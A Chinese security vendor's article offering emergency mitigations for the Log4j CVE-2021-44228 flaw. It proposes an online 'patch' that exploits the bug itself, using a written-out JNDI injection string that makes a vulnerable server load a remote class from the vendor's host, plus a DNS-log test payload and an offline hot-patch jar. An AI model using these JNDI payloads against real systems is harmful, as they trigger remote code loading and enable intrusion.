史诗级的漏洞CVE-2021-44228爆发以来，各安全厂商提供了各种漏洞检测工具，也提供了各种漏洞修复方案。但是在修复过程中遇到无尽的坑，比如更新版本需要重启服务也不见得那么方便，改代码需要一定周期，临时修复方法错误（系统环境变量未生效），Log4j 2.0-2.10版本无临时修复方案，jdk升级高版本存在bypass且仍然可以造成信息泄露等。

鉴于以上问题，青藤推出在线&离线临时修复方案，帮助大家迅速修复漏洞，度过“修改代码->测试->上线正式升级版本”这段时间差，避免发生实际损失。

Log4jPatch原理

Log4jPatch 利用本次 Log4j 漏洞本身的任意代码执行能力，将 Payload 注入到目标 Java 进程中，通过反射调用，禁用了 Log4j 对 jndi 的支持，使得后续对该漏洞的利用无效，完成漏洞修复，总而言之，就是利用漏洞把漏洞补上。

Log4jPatch造成的影响

1. Log4j无法使用jndi，如果Log4j业务使用了jndi那么就会受到影响（这样的程序员就应该被安全工程师吊起来打）。
2. 由于注入到目标 Java 进程中的 Payload 极小（<1.6KB），且变更逻辑简单，对于担心jvm内存的用户来说请放心。等您进行代码级别的修复之后，只需要重启服务patch就不会再驻留在内存中。

Log4jPatch修复方法

1.如何使用青藤的Log4jPatch在线补丁服务

1.1 修复人员在漏洞注入点（如用户名、搜索框、前端站点表单字段等等漏洞的触发点，不需要提供给青藤），把注入payload修改为：${jndi:ldaps://cve-2021-44228.qingteng.cn:8443/patch}。

1.2 存在漏洞的业务会到cve-2021-44228.qingteng.cn去远程加载class文件，把jvm虚拟机中的jndi给禁用。

1.3 修复验证：按照之前查找验证存在漏洞的方式进行测试，比如${jndi:ldap:xxxxx.dnslog.xxcnxx/exp}，漏洞验证不成功则说明漏洞修复成功。

验证demo

patch前后效果对比

patch前，利用漏洞访问 1.5gwpt7.dnslog.cn 成功；patch后，利用漏洞访问 2.5gwpt7.dnslog.cn 失败；手动访问 curl 3.5gwpt7.dnslog.cn 成功，证明 dnslog 有效（附时间戳证明连续性）。

2.如果业务无法访问互联网服务，还可以使用青藤提供的离线jar包进行热修复

jar包修复原理：利用 JVM 提供的 Instrumentation API来更改加载到 JVM 中的现有字节码，https://docs.oracle.com/javase/6/docs/api/java/lang/instrument/Instrumentation.html。在不重启Java进程的情况下，修改org.apache.logging.log4j.core.lookup.JndiLookup类的lookup方法，固定返回Patched JndiLookup::lookup()。

2.1https://cve-2021-44228.qingteng.cn/patch/jar/cve-2021-44228-qingteng-patch.tar.gz地址下载Log4jPatch的jar包。

2.2 Log4jPatch的jar包上传到存在漏洞的服务器，然后执行命令。

Linux：传到服务器，然后解压，cd 进入到解压后的cve-2021-44228-qingteng-patch目录，参考 README.md，执行 attach.sh 。

attach.sh例子

• ./attach.sh 不带pid将使用jps列出此机器上所有java进程，然后输入行号选择进程来进行注入修复，输入all将会注入所有列出的java进程。

• 可输入多个，空格分割。

windows：

• 双击 attach.bat, 然后输入java进程pid
• 或者cmd命令行里传入pid，例如: attach.bat pid

2.3 离线的修复验证：按照之前查找验证存在漏洞的方式进行测试，如：burpcollaborator进行验证，漏洞验证不成功则说明漏洞修复成功。

注意：使用以上两种修复方式需要您拥有系统的所有权，并且理解修复的原理和方法。

FAQ：

Q：青藤怎么保证修复方式安全可靠？

A：

1.青藤完全不需要您提供业务的漏洞细节，这完全掌握您的手中，我们并不清楚也不需要具体的注入点；

2.源码开源，项目地址:

https://github.com/qingtengyun/cve-2021-44228-qingteng-online-patch 和https://github.com/qingtengyun/cve-2021-44228-qingteng-patch  ；

3.开源项目中提供了所用到的class文件和jar包文件的hash值；

4.到https://cve-2021-44228.qingteng.cn/patch/class/patch.class和https://cve-2021-44228.qingteng.cn/patch/jar/cve-2021-44228-qingteng-patch.tar.gz下载class文件和jar包进行对比。

Q：青藤patch修复之后就永久生效么？

A：只要不重启服务，该方式可以一直生效，一旦您重启了服务，需要再次对注入点打patch，直到代码级修复上线。

Q：青藤提供的修复支持的java版本是多少？

A：在线修复patch支持JDK版本6、7、8、9、10、11，离线修复的支持JDK版本6、7、8、9、10、11。

Q：我不知道注入点在哪里，但是引用了Log4j，能使用青藤的修复补丁么？

A：可以，使用离线jar包不需要提供注入点，只需要知道进程id。

Q：我不知道我有没有用Log4j，你能帮我看看么？

A：请看文章教你轻松清点：青藤云安全-一夜没睡的你，需要快速了解主机资产 (qingteng.cn)